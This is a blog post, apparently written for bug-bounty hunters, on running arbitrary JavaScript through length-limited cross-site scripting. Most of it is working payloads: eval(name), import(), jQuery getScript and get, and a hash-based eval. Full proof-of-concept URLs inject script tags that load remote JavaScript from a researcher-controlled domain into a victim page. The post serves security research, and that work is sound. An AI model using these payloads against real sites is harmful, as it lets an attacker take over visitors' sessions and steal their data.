XSS with length restriction

There are situations where you can execute JavaScript but you're limited to alert because it only allows limited number of characters. I recently saw a report on HackerOne with exact same situation- which is why I'm writing this post. The reporter managed to execute arbitrary JavaScript but made it somewhat complicated and required few user interactions. This drastically lessens the severity and no doubt, results in small reward.

The more promising Proof of Concept in case of XSS, in my opinion, is to load external JavaScript from a domain under your control. This post lists ways one can load external JavaScript with as few characters as possible.

Let's assume our payload is being placed inside href attribute of an anchor tag and we are limited to 32 characters;

<a href="<INJECTION>">Click</a>
  1. eval(name)
    This is probably the shortest payload one can execute arbitrary JavaScript with. The name property can be assigned anything and is also inherited cross-origin. This gives us an advantage and let us execute our payload without any limitation unless the page rewrites its name property itself.
    https://attacker.cm2.pw/?xss=<script>name="d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)";open('//victim.cm2.pw/?xss=<a href="javascript:eval(name)">Click</a>','_self')</script>
    Payload length:
  2. import
    This is another shortest payload to fetch external JavaScript but only works on Chromium based browsers.
    https://victim.cm2.pw/?xss=<a href="javascript:import(/\㎠.㎺/)">Click</a>
    Payload length:
  3. $.getScript
    This is a very famous jQuery function to load external JavaScript. The script is fetched and executed in the global context, just as if loaded with a script tag. This, however, requires jQuery already loaded in the vulnerable page.
    https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-3.3.1.min.js'></script><a href="javascript:$.getScript(/\cm2.pw/)">Click</a>
    Payload length:
  4. $.get
    This is another jQuery function which can load and execute external JavaScript if the returned Content-type is set to text/javascript. This is actually a vulnerability which only works before jQuery 3.0.0
    https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-2.2.4.min.js'></script><a href="javascript:$.get(/\cm2.pw/)">Click</a>
    Payload length:
  5. Use of existing elements and/or properties
    It's not uncommon to find HTML elements and JavaScript properties whose contents are partially or fully controlled by user. Though this requires a little inspection, it could be of tremendous help when exploiting length restricted XSS. For example, most ajax driven applications store hash identifier for easier navigation and what not.
    If a page stores hash like;
    const hash = document.location.hash;
    We could use it to load external script like;
    https://victim.cm2.pw/?xss=<script>const hash=document.location.hash;</script><a href="javascript:eval(`'`%252bhash)">Click</a>#';d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)
    Payload length:

There are various other ways one could load external JavaScript aside from above known techniques. These are other few which I don't have examples of;
- Other libraries
- Uses of various selectors
- Use of DOM properties, mutation (image id, for example)

Firefox, in some cases, navigates when clicked on JavaScript URI. To prevent navigation, we need to introduce an error. Thus, a workaround would be to add something like;q at the end of each payload like;
// halts navigation because q is not defined

Lastly, it's worth noting that it's also possible to use URL encoding in context of JavaScript URL like;

<a href="javascript:x='%27,alert(1)//">Click</a>
// Thanks @garethheyes

https://cm2.pw/?xss=<a href="javascript:x='%2527,alert(1)//">Click</a>

There's now a collection of impossible labs, created by PortSwigger which also involves XSS with length restrictions;

Show Comments